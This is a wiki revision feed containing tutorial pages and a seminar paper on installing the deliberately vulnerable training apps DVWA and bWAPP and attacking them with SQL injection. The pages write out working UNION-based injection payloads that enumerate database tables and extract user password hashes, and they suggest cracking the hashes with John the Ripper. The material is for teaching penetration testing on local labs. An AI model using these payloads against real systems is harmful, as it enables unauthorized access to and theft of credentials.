The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
The example is also based on the SQL injection vulnerability. In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
If we enter &amp;quot;1&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result. First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% &#039;Or 0 = 0 union select null, user () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% ’Or 0 = 0 union select null, database () #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA sqldatabase.PNG|500px|center]]&lt;br /&gt;
[[File:DVWA sqluser.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
To display all tables of the information schema, you must enter the following command in the search field. &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The information schema is the place where information is shared with everyone else databases are stored.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% ’And 1 = 0 union select null, table \ _name from information_schema.tables #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
We want to display the login data such as username and password. To do this, we should look for the &#039;User&#039; table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% &#039;And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =&#039; users&#039; #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).&lt;br /&gt;
[[File:DVWA hashpassword.PNG|500px|center]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5504</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5504"/>
		<updated>2020-12-21T18:29:21Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it&#039;s a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It&#039;s also supported by WAMP and XAMPP to use a local webserver.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
[[File:BWAPP1Start.PNG|300px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
*The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
*Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears. &lt;br /&gt;
**Username is “bee” &lt;br /&gt;
**Password is “bug”.&lt;br /&gt;
*User is logged in now and can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
*If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it&#039;s possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5503</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=5503"/>
		<updated>2020-12-21T18:28:22Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it&#039;s a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It&#039;s also supported by WAMP and XAMPP to use a local webserver.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
[[File:BWAPP1Start.PNG|300px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
*The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
*Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears. &lt;br /&gt;
**Username is “bee” &lt;br /&gt;
**Password is “bug”.&lt;br /&gt;
*User is logged in now and can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
*If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it&#039;s possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5502</id>
		<title>Unsecure Webservices: bWAPP vs. JuiceShop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5502"/>
		<updated>2020-12-21T18:27:51Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* STEP 5: Cracking the hashed password with John the Ripper */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*[[bWAPP]] (buggy web application)&lt;br /&gt;
*[[DVWA]](damn vulnerable web app)&lt;br /&gt;
*[[OWASP_Juice_Shop]]&lt;br /&gt;
&lt;br /&gt;
=== bWAPP ===&lt;br /&gt;
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Juice Shop ===&lt;br /&gt;
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called &#039;online juice shop&#039; for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.&lt;br /&gt;
&lt;br /&gt;
==Comparison and architecture of bWAPP and OWASP Juice Shop==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OWASP Juice Shop&#039;&#039;&#039; is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;bWAPP&#039;&#039;&#039; is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP &lt;br /&gt;
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine. &lt;br /&gt;
&lt;br /&gt;
To download virtualbox, use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]&lt;br /&gt;
&lt;br /&gt;
On the following page there is a step-by-step instructions for installing virtualbox: &lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]&lt;br /&gt;
&lt;br /&gt;
To install beebox you can use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:VirtualBox.PNG|400px]]&lt;br /&gt;
[[File:BWAPP1Start.PNG|400px]]&lt;br /&gt;
&lt;br /&gt;
== Practical demonstration Step-by-Step guideline==&lt;br /&gt;
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.&lt;br /&gt;
&lt;br /&gt;
== bWAPP Challenge ==&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Select a challenge&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:bWAPPs.PNG|500px]]&lt;br /&gt;
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various &#039;bugs&#039;. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.&lt;br /&gt;
&lt;br /&gt;
[[File:1nebenan.png|500px]]&lt;br /&gt;
[[File:2nebenan.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Try out some SQL-Statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
If you enter a search term such as &#039;iron&#039;, for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word &#039;iron&#039; and the search field gives the result &#039;iron man&#039;. In this case there is a high probability that this query contains some columns. The select-command is something like &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE &#039;%&amp;quot;. $userinput.&amp;quot;%&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1EingabeIron.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
If the form is vulnerable, introducing a single &#039;&#039;&#039; 1 &#039;&#039;&#039; should throw a SQL error because &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE  &amp;quot;&#039;&amp;quot; is not a valid query. As a result, you can see that the URL parameter &#039;&#039;&#039;1&#039;&#039;&#039;&#039; is definitely vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2SQLSyntaxFehler.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by &#039;&#039;&#039;1 -- -&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3URLTeilDelete.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4neueURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The output shows that the URL parameters are definitely vulnerable to SQL injections.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5ErgebnisURL1.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 3: Trying to find out the number of columns&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
To find the answer we can use an &#039;ORDER BY&#039; clause inside our query : &#039; order by 6 -- -&lt;br /&gt;
The query sent to the database will look like : &amp;quot;Select column1, column2, column3, column4, column5, column6, from table where movie LIKE &#039;%&#039; order by 6 -- -%&#039; . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown. &lt;br /&gt;
&lt;br /&gt;
We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Bild8URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result shows that column 5 corresponds to one character.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild9ErgebnisURL.PNG|500px]]	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 4: Get the password&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild10URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result ejects the character bWAPP. Now it is only a few steps to the hashed password.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild11ErgebnisURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the following step the contents of the columns-output is &#039;User&#039;. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild20URL.PNG|800px]]&lt;br /&gt;
